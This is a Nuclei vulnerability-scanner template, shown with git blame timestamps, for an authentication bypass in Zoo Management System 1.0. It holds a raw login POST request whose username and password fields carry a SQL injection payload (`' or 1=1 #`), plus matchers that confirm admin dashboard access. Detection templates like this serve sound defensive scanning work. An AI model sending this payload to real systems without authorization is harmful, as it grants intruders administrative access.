nuclei-templates/vulnerabilities/other/zms-auth-bypass.yaml

38 lines
1.1 KiB
YAML
Raw Normal View History

2020-10-15 19:30:42 +00:00
id: zms-auth-bypass
info:
name: Zoo Management System 1.0 - Authentication Bypass
author: dwisiswant0
severity: high
2021-10-26 12:23:43 +00:00
description: A vulnerability in Zoo Management allows remote attackers to bypass the authentication mechanism via an SQL injection vulnerability.
reference:
- https://www.exploit-db.com/exploits/48880
tags: zms,edb,auth-bypass
2020-10-15 19:30:42 +00:00
requests:
- raw:
- |
POST /zms/admin/index.php HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}/zms/admin/index.php
Cookie: PHPSESSID={{randstr}}
2020-10-15 19:30:42 +00:00
username=dw1%27+or+1%3D1+%23&password=dw1%27+or+1%3D1+%23&login=
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: regex
regex:
- "Zoo Management System (\\|\\| Dashboard|@ 2020\\. All right reserved)"
2020-10-15 19:32:52 +00:00
- "ZMS ADMIN"
2020-10-15 19:30:42 +00:00
condition: and
part: body
- type: status
status:
- 200